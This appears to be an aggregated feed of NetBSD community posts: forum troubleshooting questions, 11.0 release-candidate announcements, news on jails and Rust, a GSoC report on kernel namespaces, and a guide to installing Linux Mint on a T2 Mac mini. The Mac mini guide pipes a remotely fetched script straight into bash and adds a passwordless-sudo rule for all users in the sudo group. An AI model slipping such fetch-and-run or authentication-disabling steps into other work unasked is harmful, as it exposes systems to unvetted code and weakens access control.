Hello, I installed bash in NetBSD using pkg_add. The shell works and I want to run it inside a chroot dir. But the bash executable isn't seen while it's there including 3 binary dependencies.
If I place it in the chroots /bin, which I don't agree with, it still says no such file or directory, while the program is there with executable permissions, recognized executable format and dependencies. It also works from outside the chroot dir, but inside it's "file not found", which is not true. All commands can see the file except when called as chroot parameter from outside.
I found several web mentions of the problem but no cause or solution. What am I missing? Do I have to refresh the dll stack like with ldconfig -R in FreeBSD? Also, I copied most of the native system parts tp the chroot dir. Does anything still need special file flags?
The NetBSD project is pleased to announce the second
release candidate of the upcoming 11.0 release, please help testing!
See the release announcement for details.
The netbsd-11 release branch is nearly a year old now, so it is high time the 11.0 release makes it to the front stage.
Unfortunately the first release candidate had a few defects that we had to fix, including speed enhancements for the ftp(1) client when downloading large files, an updated tmux(1), reliability fixes for blocklistd(8) and fixes for the Mesa library. See the changes document for details.
Please note that various ISO images have been split into small ones for CD/R media and full featured DVD ones. If you are not restricted by the size limits of a CD/R medium, make sure to pick the image with "-dvd.iso" in the name.
If you want to test 11.0 RC2 please check the installation notes for your architecture and download the preferred install image from the CDN or if you are using an ARM based device from the netbsd-11 builds from the bootable ARM images page.
If you have any issues with installation or run into issues with the system during use, please contact us on one of the mailing lists or file a problem report.
A week ago I installed NetBSD 10.1 on a WD Blue 500GB disk. I built and installed a few kernels. Everything worked fine. I was working on porting a bunch FreeBSD system install scripts to recreate my daily environment. I did some tests with mount_null in particular but nothing spectacular. Suddenly the NetBSD disk dropped to a panic during the kernel boot.. I can make and post pictures of 2 screens with text but it says nothing special afaik. Init crashes. We enter a db prompt with a few commands. Any chance to go on from here?
After the problem happened, I still rescued all files that I was working on with a FreeBSD laptop, so I lost nothing. The disk didn't show any read/write problems. I also copied a kernel from a NetBSD install memstick to it but that makes no difference. What can be going on here? Now installing NetBSD on another disk. It might be a weird failure that only happens under specific operation.
I just installed NetBSD 10.1 on a Ryzen 7 system and I have X.org working.
Still a little problem: how do I get a 80x25 or larger text-screen on all system consoles? The command wsconfctl -dw Boldface changes only the first (c-a-f1) console, and this font is afaik not even in /usr/share/wscons/fonts. Trying wsconfctl or wsfontload to set a font on consoles 2, 3 and 4 does nothing.
Why does a default NetBSD install come up with an acceptable kernel boot font and then switch to 64x25 for some reason? How can I keep the initial kernel font for all consoles? I don't care if it's green.
Can this have to do with the Nnvidia GTX 1050 and no board-graphics? I wouldn't be surprised...
FreeBSD has its jails technology, and it seems NetBSD might be getting something similar soon.
Jails for NetBSD aims to bring lightweight, kernel-enforced isolation to NetBSD.
[âŚ]The system is intended to remain fully NetBSD-native. Isolation and policy enforcement are integrated into the kernelâs security framework rather than implemented in a separate runtime layer.
It does not aim to become a container platform. It does not aim to provide virtualization.
⍠Matthias Petermann
It has all the usual features you have come to expect from jails, like resource quota, security profiles, logging, and so on. Processes inside jails have no clue theyâre in a jail, and using supervisor mode, jails are descendent from a single process and remain visible in the host process table. Of course, thereâs many more features listed in the linked article.
Itâs in development and not a default part of NetBSD at this time. The project, led by Matthias Petermann, is developed out of tree, with an unofficial NetBSD 10.1 ISO with the jails feature included available as well.
We are happy to announce that The NetBSD Foundation will participate in Google Summer of Code 2026!
Would you like to learn how to contribute to open source? Google Summer of Code is a great chance to contribute to NetBSD and/or pkgsrc!
You can find a list of possible projects at Google Summer of Code project page. Please do not limit yourself to the project list... If have any cool idea/project about NetBSD and/or pkgsrc please also propose your one!
Please reach us via #netbsd-code IRC channel on Libera.Chat and/or via mailing lists.
If you are more interested about Google Summer of Code, please also check the homepage at g.co/gsoc.
Looking forward to a great Summer!
The NetBSD project is pleased to announce the first
release candidate of the upcoming 11.0 release, please help testing!
See the release announcement for details.
The netbsd-11 release branch is nearly a year old now, so it is high time the 11.0 release makes it to the front stage.
Please note that various ISO images have been split into small ones for CD/R media and full featured DVD ones. If you are not restricted by the size limits of a CD/R medium, make sure to pick the image with "-dvd.iso" in the name.
If you want to test 11.0 RC1 please check the installation notes for your architecture and download the preferred install image from the CDN or if you are using an ARM based device from the netbsd-11 builds from the bootable ARM images page.
If you have any issues with installation or run into issues with the system during use, please contact us on one of the mailing lists or file a problem report.
Rust is everywhere, and itâs no surprise itâs also made its way into the lowest levels of certain operating systems and kernels, so it shouldnât be surprising that various operating system developers have to field questions and inquiries about Rust. NetBSD developer Benny Siegert wrote a blog post about this very subject, and in it, details why itâs unlikely Rust will find its way into the NetBSD base system and/or the kernel
First, NetBSD is famed for its wide architecture and platform support, and Rust would make that a lot more troublesome due to Rust simply not being available on many platforms NetBSD supports. Rust release cycles also arenât compatible with NetBSD, it would draw a lot of dependency code into the base system, and keeping Rust and its compiler toolchain working is a lot of work that falls on the shoulders of a relatively small group of NetBSD developers.
Note that while NetBSD does tend to take a more cautious approach to these matters than, say, Linux or FreeBSD, the operating system isnât averse to change on principle. For instance, not only is Lua part of the base system, itâs even used in the NetBSD kernel due to its ability to rapidly develop and prototype kernel drivers. In short, while it doesnât seem likely Rust will make it into the NetBSD base system, itâs not an impossibility either.
In the late 1980s, with the expansion of the Internet (even though it was not open to commercial activities yet) and the slowly increasing capabilities of workstations, some people started to imagine the unthinkable: that, some day, you may use your computer to record voice messages, send them over the Internet, and the recipient could listen to these messages on his own computer.
That was definitely science fiction⌠until workstation manufacturers started to add audio capabilities to their hardware.
⍠Miod Vallat
A great story detailing how the audio hardware in the HP 9000/425e was made to work on OpenBSD and NetBSD.
My email inbox is like the pile of documents on my desk. Things that I wanted to get back to ends up moving towards the bottom, into the never-ending pile of ⌠stuff. For the first time in a while, I have looked at the bottom â and found an inquiry from someone who had seen my presentation at FOSDEM 2024.
They had a question for me, which I am going to paraphrase below. I am going to reproduce my answer here because it may be interesting for others.
Happy almost 2026! Some end-of-year lists linked here.
Last week, the VPN provider I previously used went dark for days and went back with no explanation. They have an history of not communicating much and their support does suck but TBH I almost never used it, nevertheless I felt it was time for a change. I asked on BlueSky for feedback and one of the suggestions caught my eye: IVPN.
They have very good reviews, support WireGuard and an OpenBSD developer worked there. Their documentation is very Linux-centric but very well put, yet -of course- it lacks examples for NetBSD. So hereâs a simple way of setting up a WireGuard VPN with IVPN on NetBSD.
I have some potentially devastating news for POWER users interested in using FreeBSD, uncovered late last month by none other than Cameron Kaiser.
FreeBSD is considering retiring powerpc64 prior to branching 16, which would make FreeBSD 15 the last stable version to support the architecture. (32-bit PowerPC is already dropped as of FreeBSD 14, though both OpenBSD and NetBSD generally serve this use case, and myself I have a Mac mini G4 running a custom NetBSD kernel with code from FreeBSD for automatic restart.) Although the message says âpowerpc64 and powerpc64leâ it later on only makes specific reference to the big-endian port, whereas both endiannesses appear on the FreeBSD platform page and on the download server.
⍠Cameron Kaiser
Thereâs two POWER9 systems in my office, so this obviously makes me quite sad. At the same time, though, itâs hard not to understand any possible decision to drop powerpc64/powerpc64le at this point in time. Raptorâs excellent POWER9 systems â the Blackbird, which I reviewed a few years ago, and the Talos II, which I also have â are very long in the tooth at this point and still quite expensive, and thanks to IBM royally screwing up POWER10, we never got any timely successors. There were rumblings about a possible POWER11-based successor from Raptor back in July 2025, but itâs been quiet on that front since.
In other words, there are no modern powerpc64 and powerpc64le systems available. POWER10 and brand new POWER11 hardware are strictly IBM and incredibly expensive, so unless IBM makes some sort of generous donation to the FreeBSD Foundation, I honestly donât know how FreeBSD is supposed to keep their powerpc64 and powerpc64le ports up-to-date with the latest generation of POWER hardware in the first place.
Itâs important to note that no final decision has been made yet, and since that initial report by Kaiser, several people have chimed in to argue the case that at least powerpc64le (the little endian variant) should remain properly supported. In fact, Timothy Pearson from Raptor Engineering stepped up the place, and stated heâs willing to take over maintainership of the port, as Raptor has been contributing to it for years anyway.
Raptor remains committed to the architecture as a whole, and we have resources to assist with development. In fact, we sponsor several FreeBSD build machines already in our cloud environment, and have kernel developers working on expanding and maintaining the FreeBSD codebase. If there is any concern regarding hardware availability or developer resources, Raptor is willing and able to assist.
⍠Timothy Pearson
Whatever decision the FreeBSD project makes, the Linux world will be fine for a while yet as IBM contributes to its development, and popular distributions still consider POWER a primary target. However, unless either IBM moves POWER hardware downmarket (extremely unlikely) or the rumours around Raptor have merit, I think at least the FreeBSD powerpc64 (big endian) port is done for, with the powerpc64le port hopefully being saved by people hearing these alarm bells.
No theme, just fun.
My 2018 Mac mini (64G RAM, 2T SSD) has long been a trusty multi-VM pkgsrc and notqmail build machine, mostly via SSH. And during the first couple COVID years when I was still consulting independently but we were out of the country, it was also a trusty low-latency system for collaborative coding sessions with USA-based clients, mostly via screen sharing.
The mini still performs quite well. I still rely on it for keeping my NetBSD VPS running on the latest -current pkgsrc every week or so. But macOS NFS service had a tendency to be a source of annoyance and/or effort on each new major release. NetBSDâs NFS client got fixed, which was enough to get me by, but my Tribblix and Linux VMs had already been basically unusable for a while. And macOS had lately gotten a little unstable after reboot: sometimes misrendering the login screen, freezing after a correctly entered password, or suddenly pegging the fans for no apparent reason and powering abruptly off. So when macOS Tahoe dropped support for nearly all Intel Macs, I was already game to repave mine.
I generally prefer NetBSD when possible, and generally consider my non-NetBSD systems to be only temporarily so (e.g., Small ARMs).
Hosting a pile of nvmm-accelerated VMs while also building natively for my primary NetBSD production target would have been a solid use case.
But the 2018 mini has a T2 security chip that makes a bunch of basic onboard devices relatively difficult for an OS to attach, and Linux appears to be the only free OS that mostly deals with this.
Even then, weâll need a T2-customized installer and special attention.
$ cd ~/Downloads
$ bash <<<1 <(curl -sL https://github.com/t2linux/T2-Mint/releases/latest/download/iso.sh)
$ sudo dd if=linuxmint-*-cinnamon-*-t2-*.iso of=/dev/$YOUR_USB_STICK
$ rm -f linuxmint-*-cinnamon-*-t2-*.iso
No Security.Allow booting from external or removable media.$ for i in \
"mklabel gpt" \
"mkpart ESP fat32 1MiB 513MiB" \
"set 1 esp on" \
"set 1 boot on" \
"mkpart Root btrfs 513MiB 100%"; do
sudo parted $YOUR_DISK_DEVICE $i
done
$ sudo mkfs.fat -F32 -n ESP ${YOUR_DISK_DEVICE}p1
btrfs journaling file system.[x]./.$ for i in proc dev dev/pts; do
sudo mount -B /$i /target/$i
done
$ sudo chroot /target
git: # echo | apt install etckeeper
# cd /etc
# git branch -m pet-power-plant
# git gc --prune
grub: # echo 'GRUB_RECORDFAIL_TIMEOUT=0' > default/grub.d/60_skip_grub_prompt.cfg
# etckeeper commit -m 'Skip grub prompt.'
# update-grub
# apt install libarchive-tools
# curl -sL https://master.dl.sourceforge.net/project/mac-icns/mac-icns.iso \
| bsdtar -xOf- iconverticons.com/os_linuxmint.icns \
> /boot/efi/.VolumeIcon.icns
# diskutil list
# diskutil mount /dev/$YOUR_EFI_SYSTEM_PARTITION_DEVICE
# bless --folder /Volumes/ESP/EFI/BOOT --label "Linux Mint"
grub prompt, just straight through the Mint logo to the login screen.sudo: $ echo '%sudo ALL=(ALL: ALL) NOPASSWD: ALL' \
| sudo tee /etc/sudoers.d/10sudo_nopasswd >/dev/null
$ sudo chmod 440 /etc/sudoers.d/10sudo_nopasswd
$ sudo etckeeper commit -m 'Skip sudo password prompt.'
$ boltctl list # find your device's UUID
$ sudo boltctl enroll --policy auto $YOUR_THUNDERBOLT_UUID
$ sudo apt install dmg2img
$ echo 7 | sudo get-apple-firmware get_from_online
$ echo | sudo apt install t2fanrd openssh-server
$ sudo systemctl enable --now ssh
$ sudo etckeeper commit -m 'Enable sshd.'
$ echo y | sudo fwupdmgr get-updates
$ echo | sudo apt install tmux vim myrepos tig silversearcher-ag qemu-system-x86-64 kdeconnect dropbox
Iâve got some older Mac minis that may also soon find gainful employment around here.
This report was written by Vasyl Lanko as part of Google Summer of Code 2025.
As of the time of writing, there is no real sandboxing technique available to NetBSD. There is chroot, which can be considered a weak sandbox because it modifies the root directory of the process, effectively restricting the process' view of the file system, but it doesn't isolate anything else, so all networking, IPC, and mounts inside this restricted file system are the same as of the system, and are accessible.
There has already been some research on implementing kernel-level isolation in NetBSD with tools like gaols, mult and netbsd-sandbox, but they haven't been merged to NetBSD. Other operating systems have their own ways to isolate programs, FreeBSD has jails, and Linux has namespaces.
The goal of this project is to bring a new way of sandboxing to NetBSD. More specifically, we want to implement a mechanism like Linux namespaces. These namespaces allow the isolation of parts of the system from a namespace, or, as the user sees it, from an application.
NetBSD has compat_linux to run Linux binaries on NetBSD systems, and the implementation of namespaces can also be utilized to emulate namespace-related functionality of Linux binaries.
A simple example to visualize our intended result is to consider an application running under an isolated UTS namespace that modifies the hostname. From the system's view, the hostname remains the same old hostname, but from the application's view it sees the modified hostname.
Linux has 8 namespace types, in this project we will focus on only 2 of them:
Linux creates namespaces via the unshare or clone system calls, and it will also be our way of calling the namespace creation logic.
We setup the base for implementing Linux namespaces in the NetBSD kernel using kauth, the subsystem managing all authorization requests inside the kernel. It associates credentials with objects, and because the namespace lifecycle management is related to the credential lifecycle it handles all the credential inheritance and reference counting for us. (Thanks kauth devs!)
We separate the implementation of each namespace in a different secmodel, resulting in a similar framework to Linux which allows the isolation of a single namespace type. Our implementation also allows users to pick whether they want to have namespace support, and of what kind, via compilation flags, just like in Linux.
UTS stands for UNIX Timesharing System, because it allows multiple users to share a single computer system. Isolating the utsname can be useful to give users the illusion that they have control over the system's hostname, and also, for example, to give different hostnames to virtual servers.
The UTS namespace stores the namespace's hostname, domain name, and their lengths. To isolate the utsname we need to first create a copy of the current UTS information, plus we need a variable containing the number of credentials referencing this namespace, or, in simpler terms, the reference count of this namespace.
This namespace specific information needs to be saved somewhere, and for that we use the credential's private_data field, so we can use a UTS_key to save and retrieve UTS related information from the secmodel. The key specifies the type of information we want to retrieve from the private_data, hence using a UTS_key for the UTS namespace. The key for each namespace is a fixed value (we don't create a new key for every credential), but the retrieved value for that key from different credentials may be different.
We had to modify kernel code that was directly accessing the hostname and domainname variables, to instead call get_uts(), which retrieves the UTS struct for the namespace of the calling process. We didn't modify occurrences in kernel drivers because drivers are not part of any namespace, so they should still access the system's resources directly.
The MNT namespace isolates mounts across namespaces. It is used to have different versions of mounted filesystems across namespaces, meaning a user inside a mount namespace can mount and unmount whatever they want without affecting or even breaking the system.
The mount namespace structure in Linux is fairly complicated. To have something similar in NetBSD we need to be able to control the mounts accessed by each namespace, and for that we need to control what is each namespace's mountlist, this is also enough for unmounting file systems, because in practice we can just hide them.
For the mount_namespace, mountlist structure and the number of credentials using the mount namespace are stored in the credential's private data with the MNT_key. Similarly to the UTS namespace, we had to modify kernel code to not directly access the mountlist, but instead go through a wrapper called get_mountlist() which returns the correct mountlist for the namespace the calling process resides in.
Implementation for the mount namespace is immensely more complex than for the UTS namespace, it involves having a good understanding of both Linux and NetBSD behaviour, and I would frequently find myself wondering how to implement something after reading the Linux man pages, which would lead to me looking for it in the Linux source code, understanding it, then going back to NetBSD source code, trying to implement it, and seeing it's too different to implement in the same way.
You can find all code written during this project in GitHub at maksymlanko/netbsd-src gsoc-bubblewrap branch. Because I intend to continue this work outside of GSoC, I want to reinforce that this was the last commit still during GSoC on gsoc-bubblewrap branch and this was the last one for the mnt_ns still WIP branch.
The link includes implementation of general namespace code via secmodels, implementation of the UTS namespace and related ATF-tests, and the work-in-progress implementation of mount namespaces.
The mount namespace functionality is not finished as it would require much more work than the time available for this project. To complete it, it would be required invasive and non-trivial changes to the original source code, and, of course, more time.
As previously mentioned, Linux has 8 namespace types, it is important to see which of the missing namespaces are considered useful and feasible to implement.
I believe that after mount namespaces it would be interesting to implement PID namespaces as this in combination with mount namespaces would permit process isolation from this sandbox. Afterwards, implementing user namespaces would allow users to get capabilities similar to root in the namespace, giving them sudo permissions while still restricting system-wide actions like shutting down the machine.
A lower hanging fruit is to implement the namespace management functionality, which in Linux is lsns to list existing namespaces, and setns to move the current process to an already existing namespace.
In the end, Linux and NetBSD are different operating systems, implemented in different ways. Linux is complex and it is not trivial to port namespaces to NetBSD.
The project is called "Using bubblewrap to add sandboxing to NetBSD" and was initially projected to emulate the unshare system call into compat_linux, but, seeing that having namespaces could be useful for NetBSD, and that it would be easy to add to compat_linux afterwards, we decided to instead implement namespaces directly in the NetBSD kernel. Implementing other system calls necessary to make the bwrap linux binary work correctly also wouldn't be as satisfying as implementing namespaces directly into NetBSD, so this was why the project was initially called "Using bubblewrap to add sandboxing to NetBSD" but nowadays it would be more accurate to call it "Sandboxing in NetBSD with Linux-like namespaces".
I am very grateful to Google for Google Summer of Code, because without it I wouldn't have learned so much this summer, wouldn't have met with smart and interesting people, and for sure wouldn't have tried to contribute to a project like NetBSD, even if I always wanted to write operating systems code... But, the biggest thing I will take with me from this project is the confidence to be able to contribute to NetBSD and other open source projects.
I would also like to thank the members of the NetBSD organization for helping me throughout this project, and more specifically:
LD_LIBRARY_PATH bug I had on my system which wouldn't let me finish compiling NetBSD, and general GSoC recomendations.tech-kern, with whom I discussed ideas for projects and proposal suggestions, and in the end inspired the namespaces project.I've just installed virt-manager with pkgin on NetBSD 9.2 just because I want to emulate the virtual machines with qemu + nvmm on NetBSD 9.2. The installation of virt-manager went ok. But,when I ran it,an error came up :
netbsd-marietto# virt-manager
Traceback (most recent call last):
File "/usr/pkg/share/virt-manager/virt-manager.py", line 386, in <module>
main()
File "/usr/pkg/share/virt-manager/virt-manager.py", line 247, in main
from virtManager import cli
File "/usr/pkg/share/virt-manager/virtManager/cli.py", line 29, in <module>
import libvirt
ImportError: No module named libvirt
Googling a little bit maybe I've found the solution here :
https://www.unitedbsd.com/d/285-linux-user-and-netbsd-enthusiast-hoping-to-migrate-some-day
where "kim" said :
Looking at pkgsrc/sysutils/libvirt/PLIST it doesn't look like the package provides any Python bindings -- which is what the "ImportError: No module named libvirt" error message is about. You could try py-libvirt from pkgsrc-wip and see how that works out.
I tried to start the compilation like this :
netbsd-marietto# cd /home/mario/Desktop/pkgsrc-wip/py-libvirt
netbsd-marietto# make
but I've got this error :
make: "/home/mario/Desktop/pkgsrc-wip/py-libvirt/Makefile" line 15: Could not find ../../wip/libvirt/buildlink3.mk
make: "/home/mario/Desktop/pkgsrc-wip/py-libvirt/Makefile" line 16: Could not find ../../lang/python/distutils.mk
make: "/home/mario/Desktop/pkgsrc-wip/py-libvirt/Makefile" line 17: Could not find ../../mk/bsd.pkg.mk
make: Fatal errors encountered -- cannot continue
If u want to see the content of the Makefile, it is :
gedit /home/mario/Desktop/pkgsrc-wip/py-libvirt/Makefile
#$NetBSD: Makefile,v 1.32 2018/11/30 09:59:40 adam Exp $
PKGNAME= ${PYPKGPREFIX}-${DISTNAME:S/-python//}
DISTNAME= libvirt-python-5.8.0
CATEGORIES= sysutils python
MASTER_SITES= https://libvirt.org/sources/python/
MAINTAINER= [email protected]
HOMEPAGE= https://libvirt.org/sources/python/
COMMENT= libvirt python library
LICENSE= gnu-lgpl-v2
USE_TOOLS+= pkg-config
.include "../../wip/libvirt/buildlink3.mk"
.include "../../lang/python/distutils.mk"
.include "../../mk/bsd.pkg.mk"
Can someone help me to fix the error ? very thanks.
I have a good mix today.
Your unrelated music video of the week: Return of the Phantom by VOID. 2025 or 1985? Canât easily tell.
I have a Raspberry Pi 3 with NetBSD 10, running CI jobs. Because SD cards are notoriously unreliable, I attached a USB hard drive to it. The HDD has a swap partition and scratch space for the builds, while root is on the SD. Unfortunately, some writes end up going to the root file system after all, which meant that the SD card was destroyed after only about a year!